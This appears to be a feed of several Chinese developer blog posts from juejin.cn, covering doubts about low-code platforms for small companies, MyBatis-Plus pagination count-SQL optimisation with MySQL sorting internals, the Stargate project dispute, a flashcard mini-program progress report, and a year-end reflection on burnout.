慎重!小公司要不要搞低代码?
慎重!小公司到底要不要搞自己的低代码?
同学们好,我想结合自己的亲身经历,谈谈我对低代码开发的看法,讨论下人手和精力本就有限的小公司到底要不要搞低代码(中大厂无论资源还是KPI,并不在讨论范围)。
我对低代码最直白的理解
通过可视化拖拽来快速搭建某个场景的工具,以实现降本增效
市面低代码有哪些?
某个场景这个词很广泛,我们根据某个场景设计了各种低代码平台
单一场景
- 用来在线设计图片

- 用来搭建H5页

- 用来搭建商城

- 用来搭建问卷调查

- 用来搭建Form表单

- 审批流管理系统


全场景
除了上述单一场景低代码,还有一种并不是只想做工具。而是要做全场景、无限自由度的通用型低代码平台。
其中代表作,肯定大家都很熟悉,阿里的lowcode-engine。

什么是低代码毒瘤?
就是不少低代码平台用户(技术)的使用反馈
- 代码一句话的事,要搭建一整条逻辑链
- 再完美、再丰富的业务物料库,并不能覆盖所有业务,实际上每有新业务都是伴随大量的新业务物料开发
- 解决BUG时超难debug,你只能根据逻辑链去慢慢检查节点逻辑
- 很容易形成孤岛,你接手的别人屎山代码还能直接阅读代码理解,你接手的屎山低代码平台怎么捋?
- 我想干的是技术,入职干几年JSP我人都会废掉,更别说拖拽逻辑、拖拽组件开发页面,逼我辞职!(真实经历,导致从后端转前端,后文有详述)
我眼中的低代码
回到开头,我理解的低代码

它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准、简单、快捷的解决问题(降本增效)。
而不是造一个可视化的编辑器,先用可视化编辑器先去构造场景,然后再在构造的场景上开发,这在我看来是本末倒置。
强如lowcode-engine,阿里一个团队****开发了几年,都定义了schema协议标准,大家使用都是吐嘈声一片。可见这不是技术原因,而是设计原因。从为业务提效的工具改为了提效程序员的编辑器。
切忌!不要为了一口醋,包一顿饺子。
我认为低代码以程序员为用户去设计低代码产品注定会失败,这几年低代码毒瘤的评价就是一场大型的社会实验,这就是用户(程序员)最真实的反馈。
我理想中的的低代码:
- 用户:产品、运营、不懂技术的普通用户
- 功能: 简单、快速、稳定的搭建某一场景
- 目的:实现场景业务的降本增效
- 槽点:原本目的是让非程序员通过平台能简单、快速新增固定场景业务,现在却是想开发一个可视化搭建编辑器取代程序员??
我的结论是,如果那么复杂的场景,物料拖来拖去,逻辑链上百个节点,不如cursor一句话...
这是我的黑历史,也是我的来时路
转行前端:低代码熟练工最早受害者
我2017年大学毕业,原本学的是Java,在南京面试并入职了一家公司做后端开发。
当时公司招聘了大量应届毕业生,我本以为是因为业务发展迅速,需要大量研发人员。然而入职后才发现,公司后端开发并不使用代码开发,而是通过公司自研的一个逻辑编辑器进行开发。这个编辑器采用拖拽节点、搭建逻辑链的方式来实现后端业务。我们平时写的一句代码,实际上就是一条逻辑链,独立的方法构成一个独立的父节点,节点之间再相互串联。之所以招聘这么多人,是因为公司离职率极高,每年大约只有20%的人能留下来。公司通过这种方式,逐年筛选出逻辑编辑器的熟练工。
我干了两个月后,实在无法适应,准备离职。但当时招聘季已经结束,只能暂时忍耐。转机出现在公司的低代码平台——它只支持后端开发,前端仍然需要编写代码。前端组也在招人,于是我谎称自己会前端,成功转到了前端组。但实际上,我当时只会一点Vue基础,完全不懂前端开发,只能从头学起。最终,我从后端彻底转成了前端开发。
在大半年后,我跳槽去了另一家公司。就在我准备离职时,公司其他部门的前端组也开发出了类似的低代码平台。我试用过,虽然非常难用,很多操作反人类,但公司也打算仿照后端的模式,每年招聘前端应届生,逐年筛选出熟练工。
可以说,我们这波人是国内最早被低代码迫害的那批开发者。因为我亲身经历过,所以我很明确地告诉大家:有些公司开发和推广低代码平台的目的,并不是为了提升业务效率,而是为了替换掉研发人员,转而使用一些廉价的低代码平台的熟练工!
这简直从根源上实现了节流,对他们来说也是增效。
开源之旅:构建我理解的低代码平台
了解我的同学可能知道,我是低代码开源项目Mall-Cook和云搭的作者,既然我已受过低代码的迫害,那为什么还要开发低代码?
因为我想还原可视化拖拽搭建降本增效原本的魅力。
我的的研究很明确,就是开发普通人(产品、运营、不管会不会技术的普通人)在某些场景(H5、问卷、图片、商城等)能简单、快速搭建的工具(有用的才算工具,如果只是KPI产品,合格的软件我认为都不算)
五年磨一剑,三代铸巅峰
我公司是一家做文旅的小公司,而公司的业务恰好是我低代码项目落地的最佳场景。
在过去的五年,我独立开发了三代低代码项目,在项目我都会开发完成后。都自荐接入公司的实际项目中,通过用户实际使用的反馈,不断的优化和扩展。
H5-Generate
我自研第一代低代码平台,当时仿照鲁班花了3个月自己搞了一个H5生成器,用来搭建生成活动页H5。
最初的试水之作,现在看来很简陋、使用体验也一般,也没信心开源出来献丑。不过我接入公司文旅小程序,支持了我们当时拳头产品数百个活动页的搭建。

Mall-Cook
自研第二代低代码平台,突破只能搭建H5的桎梏,支持搭建H5、小程序、APP任意端页面搭建。
开源地址: 链接

Mall-Cook旨在开发一个供运营、产品快速搭建商城的可视化平台。其实现了可视化页面搭建、组件流水线式标准接入、搭建页面多端生成(H5、小程序、APP)、运营/产品低学习成本维护等特点。

Mall-Cook是我承上启下的开发项目,在项目开发完成后,在当时我还是比较满意的。
所以把项目进行了开源,并向公司自荐由Mall-Cook替换掉H5-Generate,支持公司后续项目的可视化搭建需求
Mall-Cook在开源和公司都取得了很不错的成绩,真正让普通人去做了部分研发需求做的工作,真做到了我所希望的降本提效。

云搭
自研第三代低代码平台,大成之作,云搭万物,触手可及!
云搭平台: 链接
开源地址: 链接
介绍文章: 链接

云搭是一款功能强大的可视化搭建解决方案,它支持零代码搭建小程序、H5、问卷、图文文章等多种应用,致力于提供一套简单、便捷、专业、可靠的多场景可视化搭建平台。
我愿景是让所有用户(无论会不会技术的普通人),使用云搭可以简单、便捷搭建各种应用。

平台功能
- 使用uni-app渲染器支持H5、小程序、APP的多端渲染
- 开发自定义表单系统,支持表单-列表-详情页的整链路设计方案
- 结合多端渲染与自定义表单系统,云搭设计了小程序、H5、问卷、图文文章多种使用场景
- 开发嵌套布局,提供卡片、tab等容器组件,让页面支持无限层级嵌套布局
- 内置图片实时编辑,给用户更多自由设计空间
- 开发数据分析模块,多维度统计分析问卷、表单数据
- 开发资源社区,共享用户创建的应用模板
- 内置图片库,提供1000+图片资源
通过一代代的产品,解读我眼中的低代码
我对低代码的理解是通过可视化拖拽来快速搭建某个场景的工具
那我设计云搭的理想就是,通过可视化拖拽来快速搭建多个场景的工具库
回到当初那句话,这几年一步步走来,我始终坚信实践是检验真理的唯一标准,我理想国也从未变过...
小公司到底要不要搞自己的低代码?
- 我们公司是做文旅的,活动、电商等天然就满足可视化搭建工具的增效。如果公司业务类似的部分简单场景,可以github找个相关项目或者自研个简单的工具来提效
- 如果用来搭建管理后台页面,我的意见直接是直接否掉。我的亲身例子就是,不要像我那样最后受不了煎熬,只能离职。包括我们公司只是在后台封装了通用业务组件和CURD Hooks来提效开发,新页面直接CV然后改需求,真的我感觉搞来搞去不如不如cursor一句话。
小公司不是那些中大厂,是不会成立项目组来做这些。在人力和精力有限的情况下,如果是固定场景的话,可以找市面上成熟的平台仿照开发,如果是想用lowcode-engine来打造公司通用型平台,直接拒掉...
真实案例
除了我司,我再举个真实例子(大道理谁都会说,我始终坚信实践是检验真理的唯一标准)
古茗的前端团队
古茗在面对门店几百张菜单,经常更新的业务现状
开发门店菜单智能化平台搭建电子菜单,切实的实现增效

还是我那句话,它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准、简单、快捷的解决问题(降本增效)。
不为解决实际问题开发它干嘛?不如不做...
巅峰看到虚假的拥护,黄昏见证真正的忠诚
我从低代码还未大火时便开始研究,见证了它的崛起与沉寂。巅峰时,无数人追捧,仿佛它是解决一切问题的灵丹妙药;而如今,热潮退去,许多人选择离开,我还是孜孜不倦的探索我的眼中的低代码。
写这篇文章就是想对低代码祛魅,拨开层层糖衣看看它真实的模样。它没外界吹捧的那么无所不能,但也并未一无是处。
一去数年,我仍在低代码的道路上独自求索,构建自己的理想国。
诸君共勉 ~
来源:juejin.cn/post/7468621394736922662
产品:大哥,你这列表查询有问题啊!
前言
👳♂️产品大哥(怒气冲冲跑过来): “大哥你这查询列表有问题啊,每次点一下查询,返回的数据不一样呢”
👦我:“FKY 之前不是说好的吗,加了排序查询很卡,就取消了”
🧔技术经理:“卡主要是因为分页查询加了排序之后,mybatisPlus
生成的 count
也会有Order by
就 很慢,自己实现一个count
就行了”
👦我:“分页插件在执行统计操作的时候,一般都会对Sql 简单的优化,会去掉排序的”
今天就来看看分页插件处理 count 的时候的优化逻辑,是否能去除order by;
同时 简单阐述一下 order by、limit 的运行原理
往期好文:最近发现一些同事的代码问题
mybatisPlus分页插件count 运行原理
分页插件都是基于MyBatis 的拦截器接口Interceptor
实现,这个就不用多说了。下面看一下分页插件的处理count
的代码,以及优化的逻辑。
详细代码见:
com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor.class
count sql 从获取到执行的主要流程
1.确认count sql
MappedStatement
对象:
先查询Page
对象中 是否有countId
(countId 为mapper sql id),有的话就用自定义的count sql
,没有的话就自己通过查询语句构建一个count MappedStatement
2.优化count sql
:
得到countMs
构建成功之后对count SQL
进行优化,最后 执行count SQL,将结果 set 到page对象中。
public boolean willDoQuery(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) throws SQLException {
IPage<?> page = ParameterUtils.findPage(parameter).orElse(null);
if (page == null || page.getSize() < 0 || !page.searchCount()) {
return true;
}
BoundSql countSql;
// -------------------------------- 根据“countId”获取自定义的count MappedStatement
MappedStatement countMs = buildCountMappedStatement(ms, page.countId());
if (countMs != null) {
countSql = countMs.getBoundSql(parameter);
} else {
//-------------------------------------------根据查询ms 构建统计SQL的MS
countMs = buildAutoCountMappedStatement(ms);
//-------------------------------------------优化count SQL
String countSqlStr = autoCountSql(page, boundSql.getSql());
PluginUtils.MPBoundSql mpBoundSql = PluginUtils.mpBoundSql(boundSql);
countSql = new BoundSql(countMs.getConfiguration(), countSqlStr, mpBoundSql.parameterMappings(), parameter);
PluginUtils.setAdditionalParameter(countSql, mpBoundSql.additionalParameters());
}
CacheKey cacheKey = executor.createCacheKey(countMs, parameter, rowBounds, countSql);
//----------------------------------------------- 统计SQL
List<Object> result = executor.query(countMs, parameter, rowBounds, resultHandler, cacheKey, countSql);
long total = 0;
if (CollectionUtils.isNotEmpty(result)) {
// 个别数据库 count 没数据不会返回 0
Object o = result.get(0);
if (o != null) {
total = Long.parseLong(o.toString());
}
}
// ---------------------------------------set count ret
page.setTotal(total);
return continuePage(page);
}
count SQL 优化逻辑
主要优化的是以下两点:
- 去除 SQl 中的order by
- 去除 left join
哪些情况count 优化限制:
- SQL 中 有 这些集合操作的 INTERSECT,EXCEPT,MINUS,UNION 直接不优化count
- 包含groupBy 不去除orderBy
- order by 里带参数,不去除order by
- 查看select 字段中是否动态条件,如果有条件字段,则不会优化 Count SQL
- 包含 distinct、groupBy不优化
- 如果 left join 是子查询,并且子查询里包含 ?(代表有入参) 或者 where 条件里包含使用 join 的表的字段作条件,就不移除 join
- 如果 where 条件里包含使用 join 的表的字段作条件,就不移除 join
- 如果 join 里包含 ?(代表有入参) 就不移除 join
详情可阅读一下代码:
/**
* 获取自动优化的 countSql
*
* @param page 参数
* @param sql sql
* @return countSql
*/
protected String autoCountSql(IPage<?> page, String sql) {
if (!page.optimizeCountSql()) {
return lowLevelCountSql(sql);
}
try {
Select select = (Select) CCJSqlParserUtil.parse(sql);
SelectBody selectBody = select.getSelectBody();
// https://github.com/baomidou/mybatis-plus/issues/3920 分页增加union语法支持
//----------- SQL 中 有 这些集合操作的 INTERSECT,EXCEPT,MINUS,UNION 直接不优化count
if (selectBody instanceof SetOperationList) {
// ----lowLevelCountSql 具体实现: String.format("SELECT COUNT(*) FROM (%s) TOTAL", originalSql)
return lowLevelCountSql(sql);
}
....................省略.....................
if (CollectionUtils.isNotEmpty(orderBy)) {
boolean canClean = true;
if (groupBy != null) {
// 包含groupBy 不去除orderBy
canClean = false;
}
if (canClean) {
for (OrderByElement order : orderBy) {
//-------------- order by 里带参数,不去除order by
Expression expression = order.getExpression();
if (!(expression instanceof Column) && expression.toString().contains(StringPool.QUESTION_MARK)) {
canClean = false;
break;
}
}
}
//-------- 清除order by
if (canClean) {
plainSelect.setOrderByElements(null);
}
}
//#95 Github, selectItems contains #{} ${}, which will be translated to ?, and it may be in a function: power(#{myInt},2)
// ----- 查看select 字段中是否动态条件,如果有条件字段,则不会优化 Count SQL
for (SelectItem item : plainSelect.getSelectItems()) {
if (item.toString().contains(StringPool.QUESTION_MARK)) {
return lowLevelCountSql(select.toString());
}
}
// ---------------包含 distinct、groupBy不优化
if (distinct != null || null != groupBy) {
return lowLevelCountSql(select.toString());
}
// ------------包含 join 连表,进行判断是否移除 join 连表
if (optimizeJoin && page.optimizeJoinOfCountSql()) {
List<Join> joins = plainSelect.getJoins();
if (CollectionUtils.isNotEmpty(joins)) {
boolean canRemoveJoin = true;
String whereS = Optional.ofNullable(plainSelect.getWhere()).map(Expression::toString).orElse(StringPool.EMPTY);
// 不区分大小写
whereS = whereS.toLowerCase();
for (Join join : joins) {
if (!join.isLeft()) {
canRemoveJoin = false;
break;
}
.........................省略..............
} else if (rightItem instanceof SubSelect) {
SubSelect subSelect = (SubSelect) rightItem;
/* ---------如果 left join 是子查询,并且子查询里包含 ?(代表有入参) 或者 where 条件里包含使用 join 的表的字段作条件,就不移除 join */
if (subSelect.toString().contains(StringPool.QUESTION_MARK)) {
canRemoveJoin = false;
break;
}
str = subSelect.getAlias().getName() + StringPool.DOT;
}
// 不区分大小写
str = str.toLowerCase();
if (whereS.contains(str)) {
/*--------------- 如果 where 条件里包含使用 join 的表的字段作条件,就不移除 join */
canRemoveJoin = false;
break;
}
for (Expression expression : join.getOnExpressions()) {
if (expression.toString().contains(StringPool.QUESTION_MARK)) {
/* 如果 join 里包含 ?(代表有入参) 就不移除 join */
canRemoveJoin = false;
break;
}
}
}
// ------------------ 移除join
if (canRemoveJoin) {
plainSelect.setJoins(null);
}
}
}
// 优化 SQL-------------
plainSelect.setSelectItems(COUNT_SELECT_ITEM);
return select.toString();
} catch (JSQLParserException e) {
..............
}
return lowLevelCountSql(sql);
}
order by 运行原理
order by 排序,具体怎么排取决于优化器的选择,如果优化器认为走索引更快,那么就会用索引排序,否则,就会使用filesort (执行计划中extra中提示:using filesort),但是能走索引排序的情况并不多,并且确定性也没有那么强,很多时候,还是走的filesort
索引排序
索引排序,效率是最高的,就算order by
后面的字段是 索引列,也不一定就是通过索引排序。这个过程是否一定用索引,完全取决于优化器的选择。
filesort 排序
如果不能走索引排序, MySQL 会执行filesort
操作以读取表中的行并对它们进行排序。
在进行排序时,MySQL 会给每个线程分配一块内存用于排序,称为 sort_buffer,它的大小是由sort_buffer_size控制的。
sort_buffer_size的大小不同,会在不同的地方进行排序操作:
- 如果要排序的数据量小于 sort_buffer_size,那么排序就在内存中完成。
- 如果排序数据量大于sort_buffer_size,则需要利用磁盘临时文件辅助排序。
采用多路归并排序的方式将磁盘上的多个有序子文件合并成一个有序的结果集
filesort 排序 具体实现方式
FileSort是MySQL中用于对数据进行排序的一种机制,主要有以下几种实现方式:
全字段排序
- 原理:将查询所需的所有字段,包括用于排序的字段以及其他
SELECT
列表中的字段,都读取到排序缓冲区中进行排序。这样可以在排序的同时获取到完整的行数据,减少访问原表数据的次数。 - 适用场景:当排序字段和查询返回字段较少,并且排序缓冲区能够容纳这些数据时,全字段排序效率较高。
行指针排序
- 原理:只将排序字段和行指针(指向原表中数据行的指针)读取到排序缓冲区中进行排序。排序完成后,再根据行指针回表读取所需的其他字段数据。
- 适用场景:当查询返回的
字段较多
,而排序缓冲区
无法容纳全字段数据时,行指针排序可以减少排序缓冲区的占用,提高排序效率。但由于需要回表
操作,可能会增加一定的I/O开销。
多趟排序
- 原理:如果数据量非常大,即使采用行指针排序,排序缓冲区也无法一次容纳所有数据,MySQL会将数据分成多个较小的部分,分别在排序缓冲区中进行排序,生成多个有序的临时文件。然后再将这些临时文件进行多路归并,最终得到完整的有序结果。
- 适用场景:适用于处理超大数据量的排序操作,能够在有限的内存资源下完成排序任务,但会产生较多的磁盘I/O操作,
性能相对较低
。
优先队列排序
- 原理:结合优先队列数据结构进行排序。对于带有
LIMIT
子句的查询,MySQL会创建一个大小为LIMIT
值的优先队列。在读取数据时,将数据放入优先队列中,根据排序条件进行比较和调整。当读取完所有数据或达到一定条件后,优先队列中的数据就是满足LIMIT
条件的有序结果。 - 适用场景:特别适用于需要获取少量排序后数据的情况,如查询排名前几的数据。可以避免对大量数据进行全量排序,提高查询效率。
❗所以减少查询字段 ,以及 减少 返回的行数,对于排序SQL 的优化也是非常重要
❗以及order by 后面尽量使用索引字段,以及行数限制
limit 运行原理
limit执行过程
对于 SQL 查询中 LIMIT 的使用,像 LIMIT 10000, 100 这种形式,MySQL 的执行顺序大致如下:
- 从数据表中读取所有符合条件的数据(包括排序和过滤)。
- 将数据按照 ORDER BY 排序。
- 根据 LIMIT 参数选择返回的记录:
- 跳过前 10000 行数据(这个过程是通过丢弃数据来实现的)。
- 然后返回接下来的 100 行数据。
所以,LIMIT 是先检索所有符合条件的数据,然后丢弃掉前面的行,再返回指定的行数。这解释了为什么如果数据集很大,LIMIT 会带来性能上的一些问题,尤其是在有很大的偏移量(比如 LIMIT 10000, 100)时。
总结
本篇文章分析,mybatisPlus 分页插件处理count sql
的逻辑,以及优化过程,同时也简单分析order by
和 limit
执行原理。
希望这篇文章能够让你对SQL优化 有不一样的认知,最后感谢各位老铁一键三连!
ps: 云服务器找我返点;面试宝典私;收徒ING;
来源:juejin.cn/post/7457934738356338739
马斯克贴脸开大星际之门项目:他们根本没钱,奥特曼是骗子
昨天,美国科技界发生了一件大事:美国新任总统特朗普联合 OpenAI CEO 奥特曼、软银 CEO 孙正义宣布了一个名为「星际之门」(Stargate Project)的人工智能项目。
该项目将成立一家公司,计划未来四年内投资 5000 亿美元,并立即开始部署 1000 亿美元,为 OpenAI 在美国建设新的人工智能基础设施。此举旨在确保美国在人工智能领域的领导地位,同时创造数十万个新就业岗位。
图源:the Verge
星际之门项目公布之后,围绕着它的讨论便开始了,有力挺者,也有泼冷水的。
近来风头正盛的马斯克来了波贴脸开大,「他们根本就没有这么多钱。并且根据可靠的消息来源,软银现在的资金远低于 100 亿美元。」
数小时之后,奥特曼进行了回击。他一方面肯定了马斯克是我们这个时代最鼓舞人心的企业家,并真诚地尊重他的成就。
另一方面反驳道,「马斯克你是错的,你肯定也知道。你要不要来参观一下已经在建设中的第一个站点呢?星际之门项目对国家来说是件好事。我觉得有利于国家的事情并不总是对你们公司最有利。在你的新角色中,我希望你能把国家放在第一位。」
在另一位推特博主、软件工程师 Jason DeBolt 的帖子(他表示奥特曼不值得信任,直觉告诉他奥特曼应该远离人工智能,星际之门项目不会有好结果)下面,马斯克又嘲讽「奥特曼是个骗子」。
而就在马斯克与奥特曼在推特对线的同时,人工智能独角兽 Anthropic 的 CEO Dario Amodei 也加入了战局。另外,据多方可靠消息,谷歌昨日向 Anthropic 追加了 10 亿美元投资。
在达沃斯世界经济论坛接受彭博社采访时,Dario Amodei 认为,星际之门看起来「有点混乱」,目前既不清楚该项目实际涉及多少资金以及其中多少资金能承诺到位,也不清楚政府将如何参与进来。
Dario Amodei。图源:bloomberg
此外,微软 CEO 纳德拉在接受 CNBC 采访时,也被问及对星际之门以及马斯克嘲讽 OpenAI 等没这么多钱的看法。
纳德拉没有选择正面回答,只是表示微软 2025 财年将投入的 800 亿美元会到位,这些钱将用于扩建 Azure 服务,世界各地的客户可以在其上使用 OpenAI 以及其他厂商的大模型。
你觉得星际之门项目会草草收场吗?
参考链接:
来源:juejin.cn/post/7462937570671984681
🤔认真投入两个月做的小程序,能做成什么样子?有人用吗?
前言
Hello 大家好我是 oil 欧呦,大概一个月前,我写了一篇文章 # 🤔认真投入一个月做的小程序,能做成什么样子?有人用吗? ,那是我开始做自己的第一个卡盒小程序的第一个月,那又过了一个月后,这个小程序做到什么程度了呢?今天就给大家汇报一下情况。

性能优化
从上个月月底开始,我就一直在进行性能优化了,因为用户的大部分的数据都是存储在本地的,因此数量量比较大的时候,一些普普通通的运算逻辑也会变得很耗时。于是我以单个卡盒 5000 张卡片正常使用为标准进行性能优化,上个月先是做了性价比最高的虚拟滚动,虚拟轮播图,减少 dom 节点的渲染,保障几百张卡片时页面可以正常使用。
在这个月里大部分做的都是复杂运算的复杂度降低,跟着 performance 里的火焰图一点点检查一些耗时高的运算,减少数组遍历次数,减少嵌套遍历,增加防抖,缓存等等机制,让复杂运算只在需要的时候执行,最终效果还是很可观的,目前 3000 张卡片只有轻微的操作延迟了。
我还将轮播图的优化写了一篇文章介绍:😎 小程序手搓轮播图,几千个元素滑动照样丝滑~,其他的性能优化和我的业务太强相关了,就没有单独写文章。
考虑到小程序本地存储的限制和复杂运算导致的卡顿问题,后面有时间了我还是把全部数据都迁移到云上数据库吧,这样用户也可以跨设备使用了。
Bug 修复
随着功能越来越多,Bug 也陆续浮现出来。由于小程序还处于初期阶段,我还没有写自动化测试,所以每次添加新功能时,经常会影响到已有的功能。后来,我每次发版前都会录一个介绍新功能的视频,顺便发到小红书上。这个视频中肯定不能出现 Bug,这等于强制我把手动测试和宣传流程绑定在一起。
有几个与小程序数据修改后没有重新渲染页面的 Bug ,修复花了不少时间,虽然 Cursor 在 Bug 修复方面帮不上太大的忙,但用多了反而让我对自己的代码不够自信。偶尔踩踩坑,自己从头梳理一下逻辑也挺好的。
新的 AI 功能
推出了三种学习模式:

- 回忆模式:自行选择对卡片的记忆情况
- 单选模式:通过 AI 生成混淆选项
- 复述模式:手动输入答案 AI 进行评分和解析
具体的功能介绍可以看这篇文章:🧐如何基于艾宾浩斯记忆曲线设计一个学习规划+定时复习功能
期间,大模型换了三次。第一次从千问换成了 DeepSeek,后来因为生成速度太慢,又换成了 Gemini。结果用了一段时间后,发现由于地区原因被限制调用了,最后换成了微软的 Phi4。顺便我还重构了整个用户限额逻辑,将每天的使用额度从 15 次提升到 50 次。反正 AI 的成本也不高,不如让用户开心使用。
小程序使用情况
第一个月的第三周开头把小程序上架,第四周结束大概 150 人使用过,每天十几二十个,不过当时就在掘金发发技术文章,也没咋宣传。
从第一个月结束到今天,大概新增了 1300 个用户吧,一月六号那一天不知道是不是有了什么小程序的推荐,那天用户访问量会比较高,达到四百多:

但是后续因为没有备案,导致小程序的被搜索功能直接被关闭了,只有已经添加过小程序的用户才能进入,导致后续的访问量就暴跌了,那天我赶紧去把备案的资料准备好,整个流程大概三天搞定了,这三天里就没有任何新用户可以进入小程序了,从那之后小程序的流量就很差了,每天大概二三十人吧,加上年末了工作特别忙,也没有经常去更新功能和运营小红书了。
截至至发文这天,整体数据是这样的:

卡盒集市

从我的小程序上线一周的时候,就有好多人说如果要自己生成卡片,即便有 AI 也挺麻烦的,因此我就想着提供一些现成的卡片,用户可以自助选择导入,但是卡片的内容我一直很纠结,毕竟用户五花八门,想要学的东西也不同,我自己来做这件事情要花不少精力的。
不过纠结归纠结,身体还是很老实的开始做了,第一批的内容我做的是我自己用学习卡盒最常用的场景,就是英语对话学习,将一篇英语对话文章中的每一句话做为一张卡片,正面是中文,反面是英文。首先花了很多时间,先创建了《365天英语口语》,其中包含各种日常生活场景的对话句子,用于学习英语造句能力和常用语法。共七十多个卡盒,每个卡盒中卡片一些关键点都自带笔记。
其次是《日常生活单词》,包含各种生活场景的常用单词集合,动物,天气,厨房用具,旅行,购物都有,后续还有四十几个场景我正在整理中,每张卡片背面笔记中都带有例句,卡盒集市中的卡盒在预览的时候可以简单查看正反面,如果需要学习可以导入到自己的目录中,导入后就像自己创建的卡盒一样可以制定学习计划了。
内容的整理我是用的 DeepSeek,DeepSeek 是真的良心啊,官网的对话是基本没有 token 上限的,一次几千上万个字都可以顺利生成,而且效果也不错,非常推荐大家体验一下。
运营推广
这个月开始发发小红书了,以使用介绍的视频和功能介绍的图文为主,我把我之前大学期间用来分享设计作品的账号用来发一些功能介绍之类的,我不想花太多时间去搞,所以每次都匆匆忙忙的录个视频做个图,怕自己认真做了没有好反馈会不开心哈哈哈,最开始浏览量不高,后面慢慢的略有起色,不至于很冷清,但相比于我以前的一些比较火的作品,也算挺惨淡的。

不过为了做一些宣传图,我又把之前的一些设计字体啥的重新在电脑上安装了下,机模的图用的是 shots.so 生成的,文字自己在 PPT 里加一加,效果还可以,给大家看看:

目前是一篇爆文都没有,所以这个首图好不好看可能还处在一个自嗨阶段,更好设计方向和标题内容我还在持续摸索中。
后续
接下来,我计划继续优化小程序的性能,尤其是将数据迁移到云端,彻底解决本地存储的限制问题。在功能方面,我还有很多关于AI功能的创意,后续有时间会逐步研究并落地实现。
同时,我也会继续在小红书和其他平台上进行宣传推广。除了推广小程序本身,我还会把每个复杂一点的实现技术点写成文章,总结实现思路并提供示例代码,希望能帮助大家少踩一些坑。也欢迎大家搜索并体验学习卡盒小程序,期待你们的反馈和建议!
来源:juejin.cn/post/7462338830965424139
年终 :别自我内耗了 ,每年奖励自己一点新东西
前言
前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。
这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天。
关于自我内耗
当 写代码
和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件事情的时候,就会自然的和 收入 ,未来
等要素进行强绑定。
- 工作压力大了 ,兴趣度 - 1
- 每加一次班 ,兴趣度 - 1
- 每和产品打一架 , 兴趣度 -1
- 不涨工资不升职 , 兴趣度 -1
- 。。。。。
每一次工作上的不如意 ,都会让你对编码的兴趣降低!!
久而久之 ,你可能会想 : 你是不是不喜欢编码 ,你可能根本不喜欢写代码 , 你不想再为这个你不喜欢的兴趣花精力了。
而这篇文章的目的 ,就是为了给大家一个方向 : 如何维持自己的兴趣 ,找回初心。
关于我的一年
发布的文章 - Java 部分 :
今年和往年大差不差 ,发布了 40+ 篇文章。其中 Java 只针对一些特定领域进行了加强 :
加上一些零零散散的 JVM 文章 ,总共应该15篇左右。 但是这些其实已经够了 ,到了5-10年这个年限 , 单纯编码技术上已经没有太大的空间了。
年轻的时候硬吃底层 ,是为了提高自己的代码水平。年限大了就会发现 ,底层代码其实都差不多 ,哪怕看过了流程 ,转头就忘 ,就算不忘 ,大多数地方一辈子也用不上。
📍 总结 : 所以我现在对自己的规划是针对于特定场景, 进行深度的思考 ,更偏向与架构层面。
寻求突破 - 其他部分 :
其他的大部分精力 ,都没有局限当前的语言上面 , 一直在研究新的东西。
重要的精力都放在了 Python 和 大数据 , AI 层面。 他们针对的目的性都是不同的。
- ❤️ Python 的目的是为了开辟自己的副业
- ❤️ 大数据是当前行业的升级 ,大数据能让我在当前领域尝试更多的创新模式
- ❤️ AI 是未来 ,记住 , 人工智能是未来
这3个方向都没有把自己局限在编码层面了 ,而这3个模块都有可能让我在脱离工作后 ,也能拥有更多的出路, 不管是创业还是寻求更好的工作,他们都能有所帮助。
📍 总结 : 所以没必要把自己限制在一行行代码之间,CURD 已经在工作中写的够多了,去看看一些关联的领域。
给自己一点奖励吧
写代码 6-7 年了 , 我对编程还是一如初心, 其实只是对自己经常进行一些小奖励 , 这里我也许可以给苦恼的朋友们一些小方向 :
每年奖励自己一门新语言 :
这些年来 ,我陆陆续续尝试了 JavaScript
, Android
, Lua
(这个不算大, 算是偷懒了) , 到今年用 Python
写了一个开源工具。
我每年都会让自己去了解一下其他的语言, 他们都不会学的太深 ,主要的定位是能用他们产生一个生产力的应用。
比如 JavaScript 主要用来写了一个小程序 (最后不好玩都没上架)。 Lua 是为了自己实现一个 Nginx 的工具。
Android 是为了实现一个简单的 App , Python 是为了能炒股。
👉 奇奇怪怪的想法和思路 ,以及实现后的一点点成就感 ,是维持兴趣的一大核心。
每年奖励一些新东西 :
年初 AIGC 大火的时候 ,就一直在尝试 AIGC 转换成生产力
,最简单的实现就是帮我老婆实现了一个 SD 的文生图服务器 ,不过后面太贵了就下了(真老贵)。
然后又陆陆续续的尝试各种 AIGC 的直接使用 ,当你切实的做出一点什么后 ,成就感老多了。
AIGC : 真的要失业了 , 让 ControlNet 带来一点小震撼
然后这一年都在让 AI 帮我提高生产力 ,可以说非常成功。 比如我的 Python 项目 ,其中80% 的代码都是 AI 实现的, 这让我最后落地的压力大大减轻,成功率提高了很多。
👉 新的东西 ,总能让我感觉到我还很年轻 ,未来还有无限可能。
时不时的让自己彻底放松一次 :
不要去思考工作 ,不要去思考未来 ,就彻彻底底的为了去玩。
一开始是黑神话大火 ,那是真的下班准时走 ,技术是一天不带看的 ,就是为了玩, 连续玩了大半个月 ,通关后整个人都舒服了,谁也别想让我学。
然后后面又给自己奖励了一台小相机 ,那每周拖着家人出去拍照 ,学 ? 学个屁学,那不拿个摄影奖 ,学什么学。
👉 玩的不多 ,每年也就2-3次 ,但是真的能让人压力降低很多。
总结
2024 已经过去了 ,2025 也将到来 ,计划年初就已经定完了 , 又是充满期待的一年。
希望各位都能在生活中找到自己的节奏 ,不要有了工作失去生活。
祝大家新年快乐。
最后的最后 ❤️❤️❤️👇👇👇
- 👈 欢迎关注 ,超200篇优质文章,未来持续高质量输出 🎉🎉
- 🔥🔥🔥 系列文章集合,高并发,源码应有尽有 👍👍
- 走过路过不要错过 ,知识无价还不收钱 ❗❗
来源:juejin.cn/post/7463442625900281907
年终 :别自我内耗了 ,每年奖励自己一点新东西
前言
前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。
这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天。
关于自我内耗
当 写代码
和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件事情的时候,就会自然的和 收入 ,未来
等要素进行强绑定。
